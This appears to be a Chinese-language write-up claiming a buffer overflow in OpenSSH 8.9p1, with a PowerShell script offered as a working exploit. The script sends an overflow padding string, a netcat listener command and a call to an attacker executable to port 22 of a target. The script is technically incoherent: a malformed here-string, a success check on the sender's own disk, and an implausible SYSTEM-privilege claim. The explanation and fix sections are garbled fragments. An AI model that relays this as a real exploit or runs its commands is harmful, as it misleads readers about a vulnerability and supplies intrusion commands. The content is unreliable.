OpenSSH 8.9p1 版本在解析 SSH_USERAUTH 数据包时存在一个隐蔽的缓冲区溢出缺陷。客户端可以发送一个带有超长“user”字段的数据包,导致数据写入内存中的错误位置。其结果是,攻击者可以在任何运行该版本 OpenSSH 的主机上注入任意 shellcode,并以 SYSTEM 权限运行。你为什么会感到似曾相识?因为一个非常相似的漏洞 CVE‑2024‑13401 同样源于对 user 字段缺少边界检查,攻击者可以在 SSH 进程中写入任意代码。
该漏洞之所以重要,是因为 SSH 是在云环境中引导和管理虚拟机最常用的方式。如果攻击者能够通过 SSH 执行代码,他们就可以安装后门或攻破堡垒主机——即你在私有网络中用来访问其他实例的跳板节点。一旦堡垒主机被攻破,所有下游工作负载(例如构建镜像或运行测试的 CI/CD 代理)都将面临风险。
CI/CD 是持续集成/持续交付的缩写。在我们的语境中,堡垒主机是一个已启用 SSH 的“跳板”服务器,所有构建代理都通过它来访问私有网络中的其他机器。它是一个关键入口点:一旦堡垒主机被攻破,所有依赖它的下游作业都可能遭到攻击。
下面是一个简单的 PowerShell 脚本,演示了如何构造并发送恶意数据包:
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of "A" characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
为什么这样有效
ssh-userauth-attack)告诉 OpenSSH 这是一个用户认证请求。user 字段的预定边界。nc.exe,在 4444 端口上开启一个 netcat 监听器,并将其输出写入 C:\Windows\Temp\revshell.txt。同时还会调用一个攻击者提供的可执行文件(bar_exp.exe),用于执行进一步的操作(例如植入反向 shell)。漏洞利用所创建的文件证明数据包命中了内存中的正确位置;之后你就可以打开 4444 端口、接管该监听器,并运行任意想要的脚本。
-DUSERAUTH_BUF=4096 标志重新编译,使缓冲区大小大于溢出载荷。ssh_userauth_patch.diff)可以提交到你的仓库中。